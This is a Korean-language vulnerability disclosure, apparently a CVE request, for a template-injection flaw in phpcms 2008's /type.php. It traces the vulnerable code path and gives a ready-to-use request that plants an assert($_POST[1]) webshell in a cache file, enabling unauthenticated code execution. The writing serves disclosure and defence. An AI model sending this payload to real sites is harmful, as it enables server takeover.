
CVE-2018-19127에 대한 개념 증명 익스플로잇으로, phpcms 2008의 템플릿 인젝션 취약점을 이용해 인증되지 않은 공격자가 임의의 PHP 코드를 캐시 파일에 작성하고 웹쉘로 실행할 수 있음을 보여줍니다.
최근 우리는 phpcms 2008 소스 코드의 /type.php에서 취약점을 발견했습니다. 공격자가 "/type.php?template=tag_(){};@unlink(FILE);assert($_POST[1]);{//../rss"와 같은 조작된 요청을 보내면, 악성 콘텐트(이 경우 "@unlink(FILE);assert($_POST[1]);")가 phpcms 2008 웹사이트의 캐시 파일(이 경우 "/cache_template/rss.tpl.php")에 기록됩니다.
/type.php에는 다음 코드가 있습니다:
if(empty($template)) $template = 'type';
...
include template('phpcms', $template);
그리고 template()은 /include/global.func.php에 다음 코드로 정의되어 있습니다:
template_compile($module, $template, $istag);
다시 template_compile()을 호출하며, 이는 /include/template.func.php에 다음과 같이 정의되어 있습니다:
$compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php';
$content = ($istag || substr($template, 0, 4) == 'tag_') ? '<?php function _tag_'.$module.'_'.$template.'($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>' : template_parse($content);
$strlen = file_put_contents($compiledtplfile, $content);
공격 페이로드에서 $template은 "tag_(){};@unlink(FILE);assert($_POST[1]);{//../rss"로 설정됩니다.
따라서 file_put_contents()에 전달된 전체 경로는 이제 "data/cache_template/phpcms_tag_(){};@unlink(FILE);assert($_POST[1]);{//../rss.tpl.php"이며, 이는 PHP에 의해 "data/cache_template/rss.tpl.php"로 파싱됩니다. 그리고 "@unlink(FILE);assert($_POST[1]);" 콘텐트가 이 파일에 기록되며, 공격자는 이 파일을 웹쉘로 사용하여 임의 코드를 실행할 수 있습니다.
문제의 근본 원인은 $template 변수가 파일 경로 및 파일 내용의 일부로 사용되기 전에 필터링되지 않는다는 점입니다.
우리는 phpcms 공식 웹사이트의 연락 방법을 통해 공급업체에 연락했지만, 전화는 연결되지 않았고 메시지에 응답이 없었습니다. Phpcms 2008은 최신 버전이 아니지만 많은 사용자가 여전히 이 버전을 사용하고 있습니다. 우리가 발견한 취약점은 이전에 발견되거나 CVE가 할당된 적이 없습니다. 취약점에 CVE-ID를 할당하여 사용자에게 경고할 수 있도록 해주시기 바랍니다.